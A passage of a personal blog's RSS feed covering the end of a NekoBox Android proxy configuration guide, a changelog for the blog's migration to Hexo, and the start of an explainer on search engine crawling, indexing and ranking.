&lt;p&gt;&lt;strong&gt;How it works:&lt;/strong&gt; This mode enables the Android system&apos;s &lt;code&gt;VpnService&lt;/code&gt; API and creates a virtual network tunnel. The system &lt;strong&gt;automatically forwards the traffic of the vast majority of apps into this tunnel&lt;/strong&gt;, handing it to NekoBox for processing.&lt;/p&gt;
&lt;p&gt;:::green[Note]
Normally you only need to choose this mode
:::&lt;/p&gt;
&lt;h3&gt;2.2 Proxy-only Mode&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;How it works:&lt;/strong&gt; This mode &lt;strong&gt;does not create a VPN tunnel&lt;/strong&gt;. It only starts a local SOCKS5 and HTTP proxy server on your phone. Apps on the phone &lt;strong&gt;will not automatically&lt;/strong&gt; use this proxy.
This mode is only needed in the following scenarios&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;LAN sharing:&lt;/strong&gt; Enable &quot;允许来自局域网的连接&quot; in 「设置」; other devices (such as a computer) can then set the proxy manually, with the address being your phone&apos;s LAN IP and the port found in NekoBox&apos;s proxy settings&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual proxy for specific apps:&lt;/strong&gt; Some special apps (such as Termux, Firefox) support manually setting a proxy server; you can point them at the local proxy started by NekoBox.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For developer debugging&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::red[CAUTION]
Unless you know exactly what you&apos;re doing, &lt;strong&gt;do not&lt;/strong&gt; choose this mode; it may leave you unable to use the network normally
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Configuration Settings&lt;/h2&gt;
&lt;h3&gt;3.1 App Settings&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;自动连接&lt;/code&gt;: automatically connect to the proxy server at startup&lt;/li&gt;
&lt;li&gt;&lt;code&gt;运行模式&lt;/code&gt;: the two modes mentioned in section 2.0 of this article; normally just choose &lt;code&gt;VPN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TUN实现&lt;/code&gt;: TUN has three modes in total: &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;gvisor&lt;/code&gt;, &lt;code&gt;mixed&lt;/code&gt;. The default is &lt;code&gt;gvisor&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you&apos;re interested in how TUN works, I recommend the TUN section of that article &lt;a href=&quot;/en/posts/boxForMagisk/&quot;&gt;link to article&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MTU&lt;/code&gt;: not recommended to change at will; keep the default&lt;/li&gt;
&lt;li&gt;&lt;code&gt;唤醒锁&lt;/code&gt;: once enabled it will stay on, but it increases power consumption&lt;/li&gt;
&lt;li&gt;&lt;code&gt;自定义配置&lt;/code&gt;: see the official Nekobox documentation (appendix at the end of this article)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 Routing Settings&lt;/h3&gt;
&lt;p&gt;:::yellow[Per-app proxy]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;关闭&lt;/code&gt;: per-app proxy disabled&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;代理&lt;/code&gt;: proxy only the selected apps&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;绕过&lt;/code&gt;: do not proxy the selected apps
:::&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;绕过局域网地址&lt;/code&gt;: when enabled, LAN addresses &lt;code&gt;such as 192.168.1.1&lt;/code&gt; are not proxied. Recommended.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;在核心中绕过LAN&lt;/code&gt;: even if TUN captures LAN traffic, it is sent directly to the destination LAN address within the sing-box core instead of going out through the proxy exit. Strongly recommended; otherwise you&apos;ll get a whole series of bizarre LAN problems&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::yellow[Traffic sniffing]
&lt;code&gt;流量探测&lt;/code&gt; means capturing &lt;code&gt;SNI / TLS / HTTP Host&lt;/code&gt; during the handshake to obtain the real domain name.
Because some apps connect directly by IP without a domain name, the routing rules can&apos;t be applied that way&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;结果用于路由判断&lt;/code&gt;: the sniffed domain name is &lt;strong&gt;only used for routing rule decisions&lt;/strong&gt;, but does not change the actual connection destination. Usually choose this mode&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;用于目标地址&lt;/code&gt;: the sniffed domain name is &lt;strong&gt;not only used for routing&lt;/strong&gt;, &lt;strong&gt;it is also re-resolved by DNS to change the real connection IP&lt;/strong&gt;. Not recommended unless you know what you&apos;re doing
:::&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;解析目标地址&lt;/code&gt;: when what you&apos;re visiting is a domain name, the core performs DNS resolution once more, which can resolve some possible DNS leaks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;IPv6代理&lt;/code&gt;: recommended to disable outright, otherwise a series of outrageous problems will appear&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.3 DNS Settings&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;启用DNS路由&lt;/code&gt;: makes DNS queries themselves go through the proxy&apos;s routing rules, instead of letting the system ask the local network/ISP/router directly. Strongly recommended&lt;/li&gt;
&lt;li&gt;&lt;code&gt;启用FakeDNS&lt;/code&gt;: that is, &lt;code&gt;Fake-IP&lt;/code&gt;. It takes over all DNS requests and returns a FakeIP for domain names that need to be proxied. When an app accesses this fake IP, the traffic is captured by TUN; NekoBox makes routing decisions based on the domain name corresponding to the FakeIP, then establishes a connection to the real IP through the proxy or directly. Strongly recommended.
&lt;em&gt;The remaining settings not mentioned here can be found in the official documentation&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Traffic Splitting Examples&lt;/h2&gt;
&lt;h3&gt;4.1 Per-app Proxy&lt;/h3&gt;
&lt;p&gt;Choose the &lt;code&gt;绕过/代理&lt;/code&gt; mode according to your own situation; we recommend doing app splitting within &lt;code&gt;分应用代理&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;4.2 Custom Rules&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Before adding rules, please understand the documentation thoroughly, otherwise you may be unable to access the internet&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nekobox&apos;s default routing rules can simply be enabled as they are; they are already entirely sufficient for ordinary users.
If you need to customise the proxy for a single domain/app/IP, you can do the following&lt;/p&gt;
&lt;p&gt;For example, I want ChatGPT to go through a US split on its own&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;应用:ChatGPT
outbound:&amp;lt;选中额外的美区节点&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or I want &lt;code&gt;tgk-wcaime.wahlap.com&lt;/code&gt; to go through the &lt;code&gt;UsgPASS&lt;/code&gt; proxy on its own, without affecting the main proxy&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;domain:tgk-wcaime.wahlap.com
outbound:&amp;lt;UsgPASS Proxy&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;As for DNS, there doesn&apos;t seem to be an optimal solution; for ordinary users, just keep the default settings&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. Conclusion&lt;/h2&gt;
&lt;p&gt;NekoBox is a proxy tool with an extremely high ceiling. Its default settings are enough for daily needs, but its real charm lies in its excellent traffic-splitting rules and its broad protocol support.&lt;/p&gt;
&lt;p&gt;If your device &lt;em&gt;happens&lt;/em&gt; to be rooted, you can look into a lower-level proxy solution: &lt;a href=&quot;/en/posts/boxForMagisk/&quot;&gt;Box4Magisk&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Attached: &lt;a href=&quot;https://matsuridayo.github.io/&quot;&gt;Nekobox official documentation&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>网络</category><category>Android</category><author>Chongxi</author></item><item><title>Changelog - 11/05/2025</title><link>https://xice.cx/en/posts/Changelog-11-05-2025/</link><guid isPermaLink="true">https://xice.cx/en/posts/Changelog-11-05-2025/</guid><description>Major update log for the blog, 2025/11/04.</description><pubDate>Wed, 05 Nov 2025 01:25:30 GMT</pubDate><content:encoded>&lt;h2&gt;CEPATO ver.4.1.0 - use Hexo 8.1.0&lt;/h2&gt;
&lt;p&gt;Given the growing number of problems &lt;code&gt;Astro&lt;/code&gt; ran into as the blog developed, an under-the-hood rebuild became unavoidable, and the framework was migrated to &lt;code&gt;Hexo&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Astro&lt;/code&gt;&apos;s Sitemap issue had supposedly been fixed for over half a year — it made me laugh out loud&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;What&apos;s New&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Full Gitalk comment system integration&lt;/strong&gt;&lt;br /&gt;
Now you can comment on blog content directly with your GitHub account.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Article recommendations&lt;/strong&gt;&lt;br /&gt;
An article recommendation feature built on &lt;code&gt;Nodejieba&lt;/code&gt;, showing a different number of recommended articles on PC and mobile.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. pangu.js automatic Chinese/English typesetting&lt;/strong&gt;&lt;br /&gt;
Automatic &lt;code&gt;pangu&lt;/code&gt; typesetting between Chinese and English is now supported. For details on &lt;code&gt;pangu.js&lt;/code&gt;, see &lt;a href=&quot;https://github.com/vinta/pangu.js/&quot;&gt;GitHub: pangu.js&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Masonry photo wall&lt;/strong&gt;&lt;br /&gt;
Added a masonry-style album display.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Mermaid JS support&lt;/strong&gt;&lt;br /&gt;
You can now draw diagrams directly with &lt;code&gt;Mermaid JS&lt;/code&gt; syntax.&lt;/p&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
    A[xice.cx] --&amp;gt; B(content);
    A --&amp;gt; C(category);
    A --&amp;gt; D(tag);
    A --&amp;gt; E(about);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;6. MathJax formula support&lt;/strong&gt;
Allows math formulas to be rendered directly with &lt;code&gt;MathJax&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In Minecraft, the generation logic for End strongholds is fairly complex; they usually generate in a ring-shaped region at a certain distance from the world origin. Suppose that within a given region, the approximate probability $P$ of finding an End stronghold can be roughly expressed as:&lt;br /&gt;
$$P \approx 1 - \left(1 - \frac{N_{fortress}}{N_{chunks}}\right)^{N_{attempts}}$$&lt;br /&gt;
where:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$N_{fortress}$ is the average number of End strongholds in the given region (usually 3).&lt;/li&gt;
&lt;li&gt;$N_{chunks}$ is the total number of chunks in which End strongholds may generate.&lt;/li&gt;
&lt;li&gt;$N_{attempts}$ is the player&apos;s number of search attempts, or the number of chunks explored, in the given region.&lt;br /&gt;
This formula is a simplified model; the actual generation mechanism is more complex, but it offers a way to understand the probability.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Fixed&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Fixed the Sitemap generation issue.&lt;/li&gt;
&lt;li&gt;Added 301 redirects for old article URLs; visiting an old URL now automatically redirects to the new article URL.&lt;/li&gt;
&lt;li&gt;Corrected the metadata of some articles.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;To Do&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Improve the content of some articles.&lt;/li&gt;
&lt;li&gt;Improve blog images and other resource elements.&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><category>博客</category><author>Chongxi</author></item><item><title>Modern Search Engines in Depth: From Principles and Algorithms to Efficient Search Practice</title><link>https://xice.cx/en/posts/modernSearchEngine/</link><guid isPermaLink="true">https://xice.cx/en/posts/modernSearchEngine/</guid><description>How do search engines actually work? A complete breakdown from crawlers and indexing to ranking algorithms, plus common search syntax.</description><pubDate>Sun, 02 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This article aims to systematically lay out the architecture, core algorithms and information-retrieval methods of modern search engines. It draws on experience and research, so omissions are inevitable; corrections are welcome.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;This piece is complementary to &quot;Modern SEO in Depth: Principles, Algorithms and Practice&quot;. If you&apos;ve finished this article and are interested in SEO, you can read the follow-up, &lt;a href=&quot;/en/posts/modernSEO/&quot;&gt;&amp;gt;click to jump&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;0. Basic Concepts&lt;/h2&gt;
&lt;h3&gt;0.1 The Definition of a Search Engine&lt;/h3&gt;
&lt;p&gt;A search engine (&lt;code&gt;Search Engine&lt;/code&gt;) is a class of system for efficiently retrieving information from massive datasets. It mainly consists of the following modules:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Crawling&lt;/strong&gt;: responsible for discovering and downloading the enormous amount of web page content on the internet.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Indexing&lt;/strong&gt;: processing the crawled content into data structures that machines can retrieve quickly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ranking&lt;/strong&gt;: ranking the indexed candidate content by importance or relevance according to the query terms submitted by the user and their intent.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Query Interface&lt;/strong&gt;: providing an interface for users to enter queries and presenting the processed search results to them.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;0.2 How a Search Engine Works&lt;/h3&gt;
&lt;p&gt;The typical workflow of a modern search engine can be summarised as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
    A[源数据：网页、文档、多媒体等] --&amp;gt; B(爬取);
    B --&amp;gt; C{结构解析 + 数据清洗};
    C --&amp;gt; D[建立索引];
    D --&amp;gt; E[建立传统 + 语义/行为模型];
    E --&amp;gt; F[最终给用户展示的搜索结果UI];
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;0.3 Data Types&lt;/h3&gt;
&lt;p&gt;Search engines have to handle all sorts of data types:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Structured data&lt;/strong&gt;: data with fixed fields and a strict structure, such as &lt;em&gt;databases, API responses, knowledge-base entries&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unstructured data&lt;/strong&gt;: free-text content with no predefined format, such as &lt;em&gt;site body text, blog posts, news reports&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Semi-structured data&lt;/strong&gt;: data organised with tags or markup, but with a looser structure, such as &lt;em&gt;JSON, XML, HTML DOM structures&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multimodal data&lt;/strong&gt;: data containing multiple media forms, such as &lt;em&gt;images, audio, video&lt;/em&gt; and so on. Such data must be recognised through OCR, ASR and similar technologies and converted into retrievable forms such as CLIP vectors.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Crawling &lt;code&gt;Crawling&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Crawling is the first step by which a search engine obtains information: it traverses the internet through automated programs (that is, crawlers).&lt;/p&gt;
&lt;h3&gt;1.1 Link Discovery Mechanisms&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HTML &amp;lt;a&amp;gt;&lt;/code&gt; tag hyperlinks: the most important way pages reference one another.&lt;/li&gt;
&lt;li&gt;Resource tags such as &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;: these tags may also hide URLs pointing to other resources.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;sitemap.xml&lt;/code&gt; submitted by a website: a &quot;map&quot; the webmaster proactively hands over, telling the crawler which pages the site has.&lt;/li&gt;
&lt;li&gt;External link references (&lt;code&gt;Backlinks&lt;/code&gt;): links from other sites that &quot;recommend&quot; this site — an important source of discovery.&lt;/li&gt;
&lt;li&gt;Domain brute-force traversal / dictionary expansion: guessing possible URLs by exhaustively enumerating or combining common words.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 Crawl Strategies &lt;code&gt;Crawl Strategies&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BFS (&lt;code&gt;breadth-first&lt;/code&gt;)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Characteristics: &lt;em&gt;breadth before depth, guaranteeing coverage&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Application: usually used for &lt;strong&gt;general-purpose crawlers&lt;/strong&gt;, ensuring important areas aren&apos;t missed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DFS (&lt;code&gt;depth-first&lt;/code&gt;)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Characteristics: &lt;em&gt;fast penetration into a single domain&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Application: suited to &lt;strong&gt;targeted collection&lt;/strong&gt;, when you need to quickly obtain deep content on a topic or website.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Priority queue&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Strategy: score links by weight, content update frequency and other factors, prioritising &quot;more important&quot; pages.&lt;/li&gt;
&lt;li&gt;Effect: popular, authoritative, frequently updated pages are taken care of first.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.3 Crawl Budget &lt;code&gt;Crawl Budget&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;A search engine will not crawl a website without limit; it has a &quot;ceiling on crawl resources&quot;, that is, a crawl budget.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Influencing factors&lt;/strong&gt;: the website server&apos;s &lt;strong&gt;response speed, the quality of page content, the quality of external links, site size, content update frequency&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Main effect&lt;/strong&gt;: directly related to the &lt;strong&gt;speed at which a website&apos;s pages are indexed&lt;/strong&gt; by the search engine and their &lt;strong&gt;overall visibility&lt;/strong&gt; in search results.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.4 Crawl Control Rules&lt;/h3&gt;
&lt;p&gt;Websites have several ways to guide the behaviour of search engine crawlers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;robots.txt&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Purpose: the file is usually placed in the website root directory and is used to &lt;strong&gt;forbid or allow&lt;/strong&gt; crawlers to access specific paths.&lt;/li&gt;
&lt;li&gt;Example: &lt;code&gt;Disallow: /private/&lt;/code&gt; (tell the crawler not to enter this directory)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Of course, it stops honest people, not scoundrels&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;meta name=&quot;robots&quot;&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Purpose: written directly in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section of an HTML page, giving &lt;strong&gt;page-level control&lt;/strong&gt; over the current page.&lt;/li&gt;
&lt;li&gt;Example: &lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;noindex&lt;/code&gt;: tells the search engine not to include this page in its index.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nofollow&lt;/code&gt;: tells the search engine not to follow links on this page.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP Header &lt;code&gt;X-Robots-Tag&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Purpose: control through the HTTP response header, allowing &lt;strong&gt;more granular cache and status control&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Example: &lt;code&gt;X-Robots-Tag: noarchive&lt;/code&gt; (tell the search engine not to archive this page)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Forbidding crawling ≠ forbidding indexing ≠ forbidding display&lt;/strong&gt;
These are three different concepts. For example, if &lt;code&gt;robots.txt&lt;/code&gt; forbids a certain page from being crawled, but many other websites link to that page, the search engine may still know it exists and may even show its title in search results (though the content cannot be displayed). The three follow different logic, and this will be expanded on in detail in the SEO section.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Indexing &lt;code&gt;Indexing&lt;/code&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The ultimate purpose of the index: to turn the enormous content collected by crawlers into a data structure the search engine can &lt;strong&gt;retrieve quickly&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.1 Text Preprocessing&lt;/h3&gt;
&lt;p&gt;Raw text goes through a series of processing steps before being indexed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Tokenization&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;English&lt;/strong&gt;: relatively simple — usually just splitting words on spaces and punctuation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chinese&lt;/strong&gt;: because there are no natural separators between words, extra segmentation algorithms are needed:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Maximum matching (&lt;code&gt;MM&lt;/code&gt;)&lt;/strong&gt;: try to match the longest word in the dictionary from left to right. &lt;em&gt;Simple, but the error rate may be higher&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reverse maximum matching (&lt;code&gt;RMM&lt;/code&gt;)&lt;/strong&gt;: match from right to left; generally considered &lt;em&gt;more effective than forward matching&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HMM (hidden Markov model)&lt;/strong&gt;: based on statistical probability models, &lt;em&gt;better suited to large vocabularies and complex contexts&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BPE/SentencePiece&lt;/strong&gt;: the mainstream approach in modern NLP — splitting words into subword units, which handles out-of-vocabulary words and &lt;em&gt;works across languages&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stopword filtering&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Removing words that are common but of little significance to search, such as &lt;code&gt;的、了、是&lt;/code&gt; in Chinese and &lt;code&gt;and、the、a&lt;/code&gt; in English.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stemming / Lemmatization&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Unifying different forms of a word into their &lt;strong&gt;stem&lt;/strong&gt; or &lt;strong&gt;base form&lt;/strong&gt; — for example &lt;code&gt;reducing → reduced → reduces&lt;/code&gt; all reduce to &lt;code&gt;reduce&lt;/code&gt;. This effectively shrinks the index and improves the match rate.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2 Inverted Index &lt;code&gt;Inverted Index&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The inverted index is one of the search engine&apos;s &lt;strong&gt;most central&lt;/strong&gt; data structures.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Core structure&lt;/strong&gt;: it is like a dictionary whose keys are &lt;strong&gt;words&lt;/strong&gt; and whose values are &lt;strong&gt;the list of document IDs containing that word&lt;/strong&gt; (&lt;code&gt;[document_id1, document_id2, ...]&lt;/code&gt;). In addition, information such as term frequency and positions is usually recorded.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What it enables&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fast lookup&lt;/strong&gt;: it can quickly find all documents containing a particular keyword.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Boolean operations&lt;/strong&gt;: it easily supports logical operations such as &lt;code&gt;AND, OR, NOT&lt;/code&gt; for complex queries.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.3 Vector Index &lt;code&gt;Vector Index&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Modern search engines rely increasingly on vector indexes to implement &lt;strong&gt;semantic search&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Embedding text into vector space&lt;/strong&gt;: through learned models, text (whether a single word, a sentence or an entire document) is converted into a high-dimensional &lt;strong&gt;vector&lt;/strong&gt;.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Word2Vec / GloVe&lt;/strong&gt;: mainly used to generate &lt;strong&gt;word vectors&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BERT / RoBERTa / Embedding Models&lt;/strong&gt;: generate more powerful &lt;strong&gt;semantic vectors&lt;/strong&gt; capable of capturing the deeper meaning of text.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Using vector retrieval&lt;/strong&gt;: these vectors are stored in specialised vector databases and support finding semantically similar content by computing distances between vectors.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Common tools&lt;/strong&gt;: &lt;code&gt;FAISS&lt;/code&gt;, &lt;code&gt;Milvus&lt;/code&gt;, &lt;code&gt;HNSWlib&lt;/code&gt; and so on.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Effect&lt;/strong&gt;: even if the keywords the user searches do not exactly match anything in a document, as long as it is semantically related it can still be retrieved effectively — achieving true &lt;strong&gt;semantic similarity search&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.4 Content Deduplication &lt;code&gt;Content Deduplication&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Search engines need to avoid indexing large amounts of duplicate content, which would degrade search quality. Content deduplication solves this problem.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shingling (fixed-window slicing)&lt;/strong&gt;: split a document into many small fragments, compute a hash value for each fragment, and decide whether documents are duplicates by comparing the similarity of the hash sets.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SimHash (locality-sensitive hashing)&lt;/strong&gt;: generate a compact hash value for the whole document; similar documents receive similar SimHash values.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: &lt;strong&gt;prevent low-quality duplicate content — SEO scraper sites, mirror sites and the like — from polluting index quality&lt;/strong&gt;, ensuring the diversity and authority of search results.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Ranking &lt;code&gt;Ranking&lt;/code&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The core goal of a search engine&apos;s ranking model is to measure the &lt;strong&gt;relevance&lt;/strong&gt; between candidate documents and the user&apos;s query, and present results in order of relevance. Modern ranking systems usually process in &lt;strong&gt;multiple stages&lt;/strong&gt; to balance efficiency and accuracy:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;3.1 First-stage Ranking / Recall&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: quickly and efficiently &lt;strong&gt;screen out the small amount of content that may be relevant&lt;/strong&gt; to the query from the massive index. This stage prioritises &lt;strong&gt;recall and efficiency&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Methods&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BM25 / TF-IDF&lt;/strong&gt;: classic keyword-matching algorithms that compute relevance from term frequency, inverse document frequency and document length.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fast scoring based on the inverted index&lt;/strong&gt;: use the inverted index to locate documents quickly and give them a preliminary score.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Simple vector recall&lt;/strong&gt;: perform nearest-neighbour search over the vector index to recall documents that are initially semantically relevant.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 Re-ranking / Semantic Ranking&lt;/h3&gt;
&lt;ul&gt;
